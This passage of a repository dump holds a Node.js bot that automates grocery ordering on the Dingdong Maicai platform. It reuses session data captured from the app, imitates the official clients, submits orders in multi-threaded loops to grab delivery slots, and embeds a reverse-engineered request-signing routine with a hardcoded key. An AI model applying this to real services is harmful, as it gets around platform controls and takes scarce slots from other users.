// 本次下单的预约时间\n\traw: {\n\t\tcart: ..., // 原始的购物车数据\n\t\torder: ..., // 原始的订单数据\n\t\treserve_time: ..., // 原始的预约时间数据\n\t}\n}\n```\n\n您可以通过修改 `/service/webhook.js` 来改变请求发送的方式、 `body` 的格式和内容，但入参（`{ profile, order, reserve_time, cart }`）不能修改。\n\n## 下单成功提示音\n\n下单成功时会播放`/assets/success.mp3`，默认为小猪佩奇，可自行替换。\n\n如需关闭，请前往 `/scripts/checkout_cart.js` 自行注释相关代码。\n\n## 免责声明\n\n本程序使用 GNU General Public License v3.0 开源、不提供任何担保。使用本程序即表明，您知情并同意：\n\n- 使用本程序造成的一切后果由您本人承担，作者不会对您的任何损失负责，包括但不限于服务中断、Kernel Panic、机器无法开机或正常使用、数据丢失或硬件损坏、原子弹爆炸、第三次世界大战、SCP 基金会无法阻止 SCP-3125 引发的全球 MK 级现实重构等\n- 如若您修改了本程序并发布，您需要使用相同协议开源\n- 本程序中的所有签名算法不受项目许可证约束，不允许二次修改和分发。若确有需求，请在 Telegram 交流群内联系我。"
  },
  {
    "path": "charles_sessions/.gitkeep",
    "content": ""
  },
  {
    "path": "config/config.example.js",
    "content": "global.config = {\n    dingdong: {\n        webhook_url: '', // 下单成功通知url，暂无配套实现，如未阅读源码请**不要**填写\n        thread_count: 2, // 下单时创建的线程数，建议不要超过3\n        thread_interval: 100, // 线程创建间隔，建议不要低于100，单位ms\n        submit_interval_min: 20 * 1000, // 随机最小请求间隔时间，单位ms\n        submit_interval_max: 50 * 1000, // 随机最大请求间隔时间，单位ms\n        minimal_order_money: 0, // 小于该金额的订单不会被提交\n        api_channel: 'ios-native', // 可选 'ios-native', 'android-native' 或 'applet', 目前仅支持 'ios-native'\n        profiles: [\n            {\n                seq: 0, // 指示程序读取charles_sessions目录下的第几个文件\n                im_secret: '',// 通过抓包获取，用于签名请求\n                alias: '', // 配置文件别名，用于在下单成功时提示是哪个账号\n            }\n        ],\n    },\n    log: {\n        enable: true,\n        console_level: 'debug', // Specific level will be output to console, can be trace debug info warn error\n        log_level: 'debug', // Specific level will be write to file, can be trace debug info warn error\n        folder: './log',\n        log_split: true, // split log file by day\n    },\n};"
  },
  {
    "path": "package.json",
    "content": "{\n    \"name\": \"dingdong\",\n    \"version\": \"1.0.0\",\n    \"main\": \"index.js\",\n    \"author\": \"Runc2333\",\n    \"license\": \"GPL-3.0\",\n    \"scripts\": {\n        \"checkout:normal\": \"node scripts/checkout_cart\",\n        \"checkout:speed\": \"node scripts/checkout_cart speedcheck\"\n    },\n    \"dependencies\": {\n        \"axios\": \"^0.26.1\",\n        \"dateformat\": \"^4.5.1\",\n        \"fs-extra\": \"^10.1.0\",\n        \"sound-play\": \"^1.1.0\"\n    }\n}\n"
  },
  {
    "path": "scripts/checkout_cart.js",
    "content": "require('../config/config');\nrequire('../utils/autoloader');\n\nconst path = require('path');\nconst player = require('sound-play');\n\nconst ddmc = require('../service/dingdong');\nconst webhook = require('../service/webhook');\nconst { load_profile } = require('../service/session_parser');\nconst { EventEmitter } = require('events');\n\nlet speedcheck = process.argv[2] === 'speedcheck';\n\nconst get_address = async (token) => {\n    let address;\n    while (!address) {\n        try {\n            address = await ddmc.get_address(token);\n        } catch (e) {\n            address = undefined;\n            logger.e(`获取地址列表失败: ${e}`);\n            if (/您的访问已过期/.test(e)) process.exit(1);\n            if (!speedcheck) await tools.sleep(tools.rand_between(config.dingdong.submit_interval_min, config.dingdong.submit_interval_max));\n        }\n    }\n    return address;\n};\n\nconst get_cart = async (token) => {\n    let cart;\n    while (!cart) {\n        try {\n            await ddmc.cart_check_all(token);\n            cart = await ddmc.get_cart(token);\n            if (cart.new_order_product_list.length > 0) {\n                logger.i(`购物车商品更新: 共 ${cart.new_order_product_list[0].total_count} 件`);\n            } else {\n                throw ('购物车无有货商品');\n            }\n        } catch (e) {\n            cart = undefined;\n            logger.e(`获取购物车内容失败: ${e}`);\n            if (e.stack) logger.d(e.stack);\n            if (!speedcheck) await tools.sleep(tools.rand_between(config.dingdong.submit_interval_min, config.dingdong.submit_interval_max));\n        }\n    }\n    return cart;\n};\n\nconst get_reserve_time = async (token, cart) => {\n    let reserve_time;\n    while (!reserve_time) {\n        try {\n            let resp = await ddmc.get_multi_reserve_time(token, cart);\n            for (let time of resp[0].time[0].times) {\n                if (!time.fullFlag && !time.arrival_time_msg.includes('尽快')) {\n                    reserve_time = {\n                        reserved_time_start: time.start_timestamp,\n                        reserved_time_end: time.end_timestamp,\n                        time_text: time.arrival_time_msg,\n                    };\n                    break;\n                }\n            }\n            if (!reserve_time) {\n                throw ('没有可预约的时间');\n            }\n        } catch (e) {\n            reserve_time = undefined;\n            logger.e(`获取预约时间失败: ${e}`);\n            if (e.stack) logger.d(e.stack);\n            if (!speedcheck) await tools.sleep(tools.rand_between(config.dingdong.submit_interval_min, config.dingdong.submit_interval_max));\n        }\n    }\n    logger.i(`预约时间更新: ${reserve_time.time_text}`);\n    return reserve_time;\n};\n\nconst check_order = async (token, cart, reserve_time) => {\n    let order;\n    while (!order) {\n        try {\n            order = await ddmc.check_order(token, cart, reserve_time);\n        } catch (e) {\n            order = undefined;\n            logger.e(`获取订单失败: ${e}`);\n            if (e && e.stack) logger.e(e.stack);\n            if (String(e).trim().length === 0) continue;\n            if (!speedcheck) await tools.sleep(100);\n        }\n    }\n    logger.i(`订单信息更新: 总计: ${order.order.total_money} 元`);\n    return order;\n};\n\n(async () => {\n    if (speedcheck) {\n        if (config.dingdong.thread_count === undefined) {\n            logger.w(`未设置提交订单并发数，请检查您的配置文件。本次运行将使用默认值: 2`);\n        } else {\n            logger.i(`当前提交订单并发数: ${config.dingdong.thread_count}`);\n        }\n        if (config.dingdong.thread_interval === undefined) {\n            logger.w(`未设置线程创建延迟，请检查您的配置文件。本次运行将使用默认值: 100 ms`);\n        } else {\n            logger.i(`当前线程创建延迟: ${config.dingdong.thread_interval} ms`);\n        }\n    }\n    for (let profile of config.dingdong.profiles) {\n        (async () => {\n            let session = load_profile(profile);\n            // Rewrite station id and address id as default address\n            let address = await get_address(session);\n            let default_address = address.valid_address.find((addr) => {\n                return addr.is_default;\n            });\n            if (!default_address) {\n                logger.e(`[${profile.alias}] 没有设置默认地址，请先设置`);\n                process.exit(1);\n            }\n            let [longitude, latitude] = default_address.location.location;\n            session.params.station_id = default_address.station_id;\n            session.params.city_number = default_address.city_number;\n            session.params.longitude = longitude;\n            session.params.latitude = latitude;\n            session.headers[\"ddmc-station-id\"] = default_address.station_id;\n            session.headers[\"ddmc-city-number\"] = default_address.city_number;\n            session.headers[\"ddmc-longitude\"] = longitude;\n            session.headers[\"ddmc-latitude\"] = latitude;\n            session.user.address_id = default_address.id;\n            logger.i(`[${profile.alias}] 当前默认地址 : ${default_address.location.address}`);\n            // Tring to make order\n            let cart = await get_cart(session);\n            let reserve_time = await get_reserve_time(session, cart);\n            let order = await check_order(session, cart, reserve_time);\n            let success = false;\n            let promise_list = [];\n            let thread_count = speedcheck ? (config.dingdong.thread_count || 2) : 1;\n            let thread_interval = speedcheck ? (config.dingdong.thread_interval || 100) : 100;\n            let emitter = new EventEmitter();\n            const submit_order = async () => {\n                let local_success = false;\n                // Refresh flags to avoid duplicate refresh\n                let reserve_time_already_refreshed = false;\n                emitter.on('reserve_time_refresh', () => { reserve_time_already_refreshed = true; });\n                let cart_already_refreshed = false;\n                emitter.on('cart_refresh', () => { cart_already_refreshed = true; });\n                while (!success) {\n                    logger.i(`[${profile.alias}] 尝试下单 ${cart.new_order_product_list[0].total_count} 件商品 总计: ${order.order.total_money} 元 送达时间: ${reserve_time.time_text}`);\n                    try {\n                        await ddmc.add_new_order(session, cart, order, reserve_time);\n                        success = true;\n                        local_success = true;\n                    } catch (e) {\n                        logger.e(`[${profile.alias}] 下单失败: ${e}`);\n                        if (String(e).includes('时') && !reserve_time_already_refreshed) {\n                            // Reserve time changed, refresh\n                            reserve_time = await get_reserve_time(session, cart);\n                            order = await check_order(session, cart, reserve_time);\n                            emitter.emit('reserve_time_refresh');\n                        }\n                        if ((String(e).includes('售罄') || String(e).includes('缺货') || String(e).includes('暂未营业') || String(e).includes('订单金额不满足最低要求')) && !cart_already_refreshed) {\n                            // Cart changed, refresh\n                            await ddmc.cart_check_all(session);\n                            cart = await get_cart(session);\n                            order = await check_order(session, cart, reserve_time);\n                            emitter.emit('cart_refresh');\n                        }\n                        // Reset refresh flag\n                        reserve_time_already_refreshed = false;\n                        cart_already_refreshed = false;\n                    }\n                    // Success logic\n                    if (local_success) {\n                        // Send notification to webhook\n                        try {\n                            if (config.dingdong.webhook_url) {\n                                await webhook({ profile, cart, order, reserve_time });\n                                logger.i(`[${profile.alias}] 已调用 webhook 方法`);\n                            }\n                        } catch (e) {\n                            logger.e(`[${profile.alias}] 调用 Webhook 方法时出现错误: ${e}`);\n                            logger.e(`[${profile.alias}] 请检查您的 webhook_url 是否正确, /service/webhook.js 是否编写正确, 接口状态是否正常`);\n                            if (e.stack) logger.d(e.stack);\n                        }\n                        // Play notification sound\n                        try {\n                            player.play(path.join(__dirname, '..', 'assets', \"success.mp3\"), 1);\n                        } catch (e) {\n                            logger.e(`播放提示音失败: ${e}`);\n                            if (e.stack) logger.d(e.stack);\n                        }\n                        logger.i(`[${profile.alias}] 下单成功`);\n                        if (!speedcheck) {\n                            // Loop when in normal mode\n                            success = false; // Reset success flag\n                            // Refresh cart and reserve time\n                            cart = await get_cart(session);\n                            reserve_time = await get_reserve_time(session, cart);\n                            order = await check_order(session, cart, reserve_time);\n                            continue; // Continue loop\n                        }\n                    }\n                    if (!speedcheck) await tools.sleep(200);\n                }\n            };\n            // Create threads\n            for (let i = 0; i < thread_count; i++) {\n                promise_list.push(submit_order());\n                await tools.sleep(thread_interval);\n            }\n            await Promise.all(promise_list);\n        })();\n        if (!speedcheck) await tools.sleep(1000);\n    }\n})();"
  },
  {
    "path": "service/dingdong/api/applet/_applet_sign.js",
    "content": "const crypto = require('crypto');\nconst md5 = function (e) {\n    return crypto.createHash('md5').update(e).digest('hex');\n};\n\nvar randStr = function () {\n    for (var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 16, t = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnoprstuvwxyz12345678\", n = \"\", r = 0; r < e; r++) n += t.charAt(Math.floor(Math.random() * t.length));\n    return n;\n};\n\nfunction i (e, t, n) {\n    return t in e ? Object.defineProperty(e, t, {\n        value: n,\n        enumerable: !0,\n        configurable: !0,\n        writable: !0\n    }) : e[t] = n, e;\n}\n\nfunction r (e, t) {\n    var n = Object.keys(e);\n    if (Object.getOwnPropertySymbols) {\n        var r = Object.getOwnPropertySymbols(e);\n        t && (r = r.filter(function (t) {\n            return Object.getOwnPropertyDescriptor(e, t).enumerable;\n        })), n.push.apply(n, r);\n    }\n    return n;\n}\n\nfunction o (e) {\n    for (var t = 1; t < arguments.length; t++) {\n        var n = null != arguments[t] ? arguments[t] : {};\n        t % 2 ? r(Object(n), !0).forEach(function (t) {\n            i(e, t, n[t]);\n        }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(n)) : r(Object(n)).forEach(function (t) {\n            Object.defineProperty(e, t, Object.getOwnPropertyDescriptor(n, t));\n        });\n    }\n    return e;\n}\n\nconst funSesiEncrypt = function (e) {\n    try {\n        var t = md5(e).substring(5, 21), n = randStr(7), a = md5(n);\n        return n + md5(a + e + t + n);\n    } catch (e) {\n        var c = randStr(18);\n        return md5(c) + c.substring(5, 12);\n    }\n};\n\nfunction a (e) {\n    var t = e.uid, n = void 0 === t ? \"\" : t, r = \"2lRMzaGLtb1zS5^WkQ3LcuOy^gC$0EB3Ys!%hDSzjQY891$yjB\";\n    var i = o(o({}, e), {}, {\n        private_key: n || r\n    }), s = \"\", u = Object.keys(i).sort();\n    u.forEach(function (e, t) {\n        s += \"\".concat(e, \"=\").concat(i[e]).concat(t < u.length - 1 ? \"&\" : \"\");\n    });\n    var l = md5(s);\n    return {\n        nars: l,\n        sesi: funSesiEncrypt(l)\n    };\n}\n\n\nfunction sign (body) {\n    return a(JSON.parse(body));\n}\n\nmodule.exports = sign;"
  },
  {
    "path": "service/dingdong/api/applet/add_new_order.js",
    "content": "// const tools = require('../../../utils/tools');\n\nmodule.exports = async (token, cart, order, reserve_time) => {\n    let { params, headers, user } = token;\n    if (order.order.total_money < config.dingdong.minimal_order_money) {\n        throw (`订单金额不满足最低要求: ${order.order.total_money} 元`);\n    }\n    let package_order = {\n        \"reserved_time_start\": reserve_time.reserved_time_start,\n        \"reserved_time_end\": reserve_time.reserved_time_end,\n        \"price\": order.order.total_money,\n        \"freight_discount_money\": order.order.freight_discount_money,\n        \"freight_money\": order.order.freight_money,\n        \"note\": \"\",\n        \"product_type\": 1,\n        \"order_product_list_sign\": cart.order_product_list_sign,\n        \"address_id\": user.address_id,\n        \"pay_type\": 24,\n        \"products\": cart.new_order_product_list[0].products.map(v => {\n            return {\n                \"id\": v.id,\n                \"parent_id\": v.parent_id,\n                \"count\": v.count,\n                \"cart_id\": v.cart_id,\n                \"price\": v.price,\n                \"product_type\": v.product_type,\n                \"is_booking\": v.is_booking,\n                \"sizes\": v.sizes,\n            };\n        }),\n        \"vip_money\": \"\",\n        \"vip_buy_user_ticket_id\": \"\"\n    };\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/order/addNewOrder',\n        data: {\n            ...params,\n            order: JSON.stringify(package_order),\n            soon_arrival: 0,\n            showMsg: false,\n        },\n        headers: headers,\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }],\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.tips.limitMsg);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/add_to_cart.js",
    "content": "module.exports = async (token, id) => {\n    let { params, headers } = token;\n    if (!(id instanceof Array)) id = [id];\n    let cart = id.map(v => {\n        return {\n            \"id\": v,\n            \"count\": 1,\n            \"activity_id\": \"\",\n            \"vip_activity_id\": \"\",\n            \"mandatory_check\": \"1\",\n            \"mandatory_count\": 0,\n            \"batch_type\": -1,\n            \"algo_info\": {},\n            \"sizes\": []\n        };\n    });\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/cart/add',\n        data: {\n            ...params,\n            products: JSON.stringify(cart),\n            is_filter: 1,\n            activity_id: \"\",\n            vip_activity_id: \"\",\n            is_load: 1,\n            add_scene: 0,\n            showData: true,\n            is_force_gift_coupon: 0,\n            pageid: '',\n            cid: '',\n            vip_page: 0,\n            is_guide_goods_onion: 0,\n            filter_stock: 0,\n            showMsg: false,\n            ab_coinfig: JSON.stringify({\n                \"key_onion\": \"C\"\n            }),\n        },\n        headers: headers,\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }],\n        // proxy: {\n        //     host: '127.0.0.1',\n        //     port: 8888\n        // }\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/cart_check_all.js",
    "content": "module.exports = async (token) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maicai.api.ddxq.mobi/cart/allCheck',\n        params: {\n            ...params,\n            is_check: 1,\n            is_load: 1,\n        },\n        headers: headers,\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/check_order.js",
    "content": "module.exports = async (token, cart) => {\n    let { params, headers, user } = token;\n    let products = cart.new_order_product_list[0].products.map(v => {\n        return {\n            \"id\": v.id,\n            \"category_path\": cart.product.effective[0].products.find(v => v.id === v.id).category_path || '',\n            \"count\": v.count,\n            \"price\": v.price,\n            \"total_money\": v.total_price,\n            \"instant_rebate_money\": v.instant_rebate_money,\n            \"activity_id\": v.activity_id,\n            \"conditions_num\": v.conditions_num,\n            \"product_type\": v.product_type,\n            \"type\": v.type,\n        };\n    });\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/order/checkOrder',\n        data: {\n            ...params,\n            address_id: user.address_id,\n            user_ticket_id: 'default',\n            is_use_point: 0,\n            is_use_balance: 0,\n            is_buy_vip: 0,\n            products: JSON.stringify(products),\n            check_order_type: 0,\n            showData: true,\n        },\n        headers: headers,\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }],\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message || result.data.tips.limitMsg);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/get_address.js",
    "content": "module.exports = async (token) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://sunquan.api.ddxq.mobi/api/v1/user/address/',\n        params: {\n            ...params,\n            source_type: 5,\n        },\n        headers: headers,\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/get_cart.js",
    "content": "module.exports = async (session) => {\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maicai.api.ddxq.mobi/cart/index',\n        params: {\n            \"ab_config\": session.params[\"ab_config\"],\n            \"api_version\": session.params[\"api_version\"],\n            \"app_client_id\": session.params[\"app_client_id\"],\n            \"app_type\": session.params[\"app_type\"],\n            \"buildVersion\": session.params[\"buildVersion\"],\n            \"channel\": session.params[\"channel\"],\n            \"city_number\": session.params[\"city_number\"],\n            \"countryCode\": session.params[\"countryCode\"],\n            \"device_id\": session.params[\"device_id\"],\n            \"device_model\": session.params[\"device_model\"],\n            \"device_name\": session.params[\"device_name\"],\n            \"device_token\": session.params[\"device_token\"],\n            \"idfa\": session.params[\"idfa\"],\n            \"ip\": session.params[\"ip\"],\n            \"is_filter\": 0,\n            \"is_load\": 1,\n            \"languageCode\": session.params[\"languageCode\"],\n            \"latitude\": session.params[\"latitude\"],\n            \"localeIdentifier\": session.params[\"localeIdentifier\"],\n            \"longitude\": session.params[\"longitude\"],\n            \"os_version\": session.params[\"os_version\"],\n            \"seqid\": session.params[\"seqid\"],\n            \"station_id\": session.params[\"station_id\"],\n            \"time\": session.params[\"time\"],\n            \"uid\": session.params[\"uid\"],\n        },\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            \"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n        },\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/get_category_detail.js",
    "content": "module.exports = async (token, category_id) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maicai.api.ddxq.mobi/homeApi/categoriesNewDetail',\n        params: {\n            ...params,\n            'version_control': 'new',\n            category_id: category_id,\n        },\n        headers: headers,\n        transformRequest: [(_data, headers) => {\n            // Delete default headers\n            delete headers.common['Accept'];\n            delete headers['Content-Type'];\n            headers['content-type'] = 'application/x-www-form-urlencoded';\n            return _data;\n        }],\n        proxy: {\n            host: '127.0.0.1',\n            port: 8888,\n        }\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/get_category_list.js",
    "content": "module.exports = async (token) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maicai.api.ddxq.mobi/homeApi/newCategories',\n        params: params,\n        headers: headers\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/get_multi_reserve_time.js",
    "content": "module.exports = async (token, cart) => {\n    let { params, headers, user } = token;\n    let products = [JSON.stringify(cart.new_order_product_list[0].products.map(product => {\n        return {\n            \"sale_batches\": {\n                \"batch_type\": product.sale_batches.batch_type\n            },\n            \"is_coupon_gift\": 0,\n            \"id\": product.id,\n            \"price\": product.price,\n            \"is_booking\": product.is_booking,\n            \"count\": product.count,\n            \"small_image\": product.small_image,\n            \"type\": product.type,\n            \"origin_price\": product.origin_price,\n            \"product_type\": product.product_type,\n            \"product_name\": product.product_name,\n        };\n    }))];\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/order/getMultiReserveTime',\n        data: {\n            ...params,\n            address_id: user.address_id,\n            products: products,\n        },\n        headers: headers,\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }]\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/applet/search_product.js",
    "content": "module.exports = async (token, keyword) => {\n    let { params, headers } = token;\n    let result = ((await axios({\n        method: 'get',\n        url: 'https://maicai.api.ddxq.mobi/search/searchProduct',\n        params: {\n            ...params,\n            keyword: keyword,\n            tag: '',\n            page: 1,\n            sort: 0,\n            guide_id: '',\n            select_activity_id: '',\n            count: 12,\n            like_size: 30\n        },\n        headers: headers\n    })));\n\n    if (result.data.success) {\n        return result.data.data.product_list;\n    } else {\n        throw (result.data.msg || result.data.message);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/ios-native/add_new_order.js",
    "content": "module.exports = async (session, cart, order, reserve_time) => {\n    if (order.order.total_money < config.dingdong.minimal_order_money) {\n        throw (`订单金额不满足最低要求: ${order.order.total_money} 元`);\n    }\n    let package_order = {\n        \"payment_order\": {\n            \"parent_order_sign\": cart.parent_order_info.parent_order_sign,\n            \"price\": order.order.total_money,\n            \"pay_type\": 2,\n            \"receipt_without_sku\": \"0\",\n            \"order_freight\": order.order.freights[0].freight.freight_real_money,\n            \"is_use_balance\": \"0\",\n            \"address_id\": session.user.address_id,\n            \"current_position\": [session.params[\"latitude\"], session.params[\"longitude\"]],\n            \"user_ticket_id\": order.order.default_coupon._id,\n        },\n        \"packages\": [{\n            \"first_selected_big_time\": \"0\",\n            \"products\": cart.new_order_product_list[0].products.map(v => {\n                return {\n                    \"price\": v.price,\n                    \"batch_type\": v.sale_batches ? v.sale_batches.batch_type : 0,\n                    \"order_sort\": v.order_sort,\n                    \"cart_id\": v.cart_id,\n                    \"parent_id\": v.parent_id,\n                    \"count\": v.count,\n                    \"id\": v.id,\n                };\n            }),\n            \"reserved_time_end\": reserve_time.reserved_time_end,\n            \"package_id\": cart.new_order_product_list[0].package_id,\n            \"package_type\": cart.new_order_product_list[0].package_type,\n            \"soon_arrival\": \"\",\n            \"eta_trace_id\": \"\",\n            \"reserved_time_start\": reserve_time.reserved_time_start,\n            \"real_match_supply_order\": false,\n            \"time_biz_type\": 0,\n        }]\n    };\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/order/addNewOrder',\n        data: {\n            \"ab_config\": `{\"key_no_condition_barter\":false}`,\n            \"api_version\": session.params[\"api_version\"],\n            \"app_client_id\": session.params[\"app_client_id\"],\n            \"app_type\": session.params[\"app_type\"],\n            \"buildVersion\": session.params[\"buildVersion\"],\n            \"channel\": session.params[\"channel\"],\n            \"city_number\": session.params[\"city_number\"],\n            \"clientDetail\": ``,\n            \"countryCode\": session.params[\"countryCode\"],\n            \"device_id\": session.params[\"device_id\"],\n            \"device_model\": session.params[\"device_model\"],\n            \"device_name\": session.params[\"device_name\"],\n            \"device_token\": session.params[\"device_token\"],\n            \"idfa\": session.params[\"idfa\"],\n            \"ip\": session.params[\"ip\"],\n            \"languageCode\": session.params[\"languageCode\"],\n            \"latitude\": session.params[\"latitude\"],\n            \"localeIdentifier\": session.params[\"localeIdentifier\"],\n            \"longitude\": session.params[\"longitude\"],\n            \"os_version\": session.params[\"os_version\"],\n            \"package_order\": JSON.stringify(package_order),\n            \"seqid\": session.params[\"seqid\"],\n            \"station_id\": session.params[\"station_id\"],\n            \"time\": session.params[\"time\"],\n            \"uid\": session.params[\"uid\"],\n        },\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            \"ddmc-build-version\": session.headers[\"ddmc-build-version\"],\n            \"ddmc-channel\": session.headers[\"ddmc-channel\"],\n            \"ddmc-city-number\": session.headers[\"ddmc-city-number\"],\n            \"ddmc-country-code\": session.headers[\"ddmc-country-code\"],\n            \"ddmc-device-id\": session.headers[\"ddmc-device-id\"],\n            \"ddmc-device-model\": session.headers[\"ddmc-device-model\"],\n            \"ddmc-device-name\": session.headers[\"ddmc-device-name\"],\n            \"ddmc-device-token\": session.headers[\"ddmc-device-token\"],\n            \"ddmc-idfa\": session.headers[\"ddmc-idfa\"],\n            \"ddmc-ip\": session.headers[\"ddmc-ip\"],\n            \"ddmc-language-code\": session.headers[\"ddmc-language-code\"],\n            \"ddmc-latitude\": session.headers[\"ddmc-latitude\"],\n            \"ddmc-locale-identifier\": session.headers[\"ddmc-locale-identifier\"],\n            \"ddmc-longitude\": session.headers[\"ddmc-longitude\"],\n            \"ddmc-os-version\": session.headers[\"ddmc-os-version\"],\n            \"ddmc-station-id\": session.headers[\"ddmc-station-id\"],\n            \"ddmc-uid\": session.headers[\"ddmc-uid\"],\n            \"time\": session.headers[\"time\"],\n            \"user-agent\": session.headers[\"user-agent\"],\n            \"im_secret\": session.user[\"im_secret\"],\n        },\n        transformRequest: [function (data) {\n            let ret = '';\n            for (let it in data) {\n                ret += encodeURIComponent(it) + '=' + encodeURIComponent(data[it]) + '&';\n            }\n            return ret;\n        }],\n    })));\n\n    if (result.data.success) {\n        return result.data.data;\n    } else {\n        throw (result.data.msg || result.data.message || result.data.tips.limitMsg);\n    }\n};"
  },
  {
    "path": "service/dingdong/api/ios-native/cart_check_all.js",
    "content": "module.exports = async (session) => {\n    let result = ((await axios({\n        method: 'post',\n        url: 'https://maicai.api.ddxq.mobi/cart/allCheck',\n        data: {\n            \"ab_config\": session.params[\"ab_config\"],\n            \"api_version\": session.params[\"api_version\"],\n            \"app_client_id\": session.params[\"app_client_id\"],\n            \"app_type\": session.params[\"app_type\"],\n            \"buildVersion\": session.params[\"buildVersion\"],\n            \"channel\": session.params[\"channel\"],\n            \"city_number\": session.params[\"city_number\"],\n            \"countryCode\": session.params[\"countryCode\"],\n            \"device_id\": session.params[\"device_id\"],\n            \"device_model\": session.params[\"device_model\"],\n            \"device_name\": session.params[\"device_name\"],\n            \"device_token\": session.params[\"device_token\"],\n            \"idfa\": session.params[\"idfa\"],\n            \"ip\": session.params[\"ip\"],\n            \"is_check\": 1,\n            \"is_filter\": 0,\n            \"is_load\": 1,\n            \"languageCode\": session.params[\"languageCode\"],\n            \"latitude\": session.params[\"latitude\"],\n            \"localeIdentifier\": session.params[\"localeIdentifier\"],\n            \"longitude\": session.params[\"longitude\"],\n            \"os_version\": session.params[\"os_version\"],\n            \"seqid\": `1044641691`,\n            \"station_id\": session.params[\"station_id\"],\n            \"time\": session.params[\"time\"],\n            \"uid\": session.params[\"uid\"],\n        },\n        headers: {\n            \"accept\": session.headers[\"accept\"],\n            \"accept-encoding\": session.headers[\"accept-encoding\"],\n            \"accept-language\": session.headers[\"accept-language\"],\n            \"content-type\": \"application/x-www-form-urlencoded\",\n            \"cookie\": session.headers[\"cookie\"],\n            \"ddmc-api-version\": session.headers[\"ddmc-api-version\"],\n            \"ddmc-app-client-id\": session.headers[\"ddmc-app-client-id\"],\n            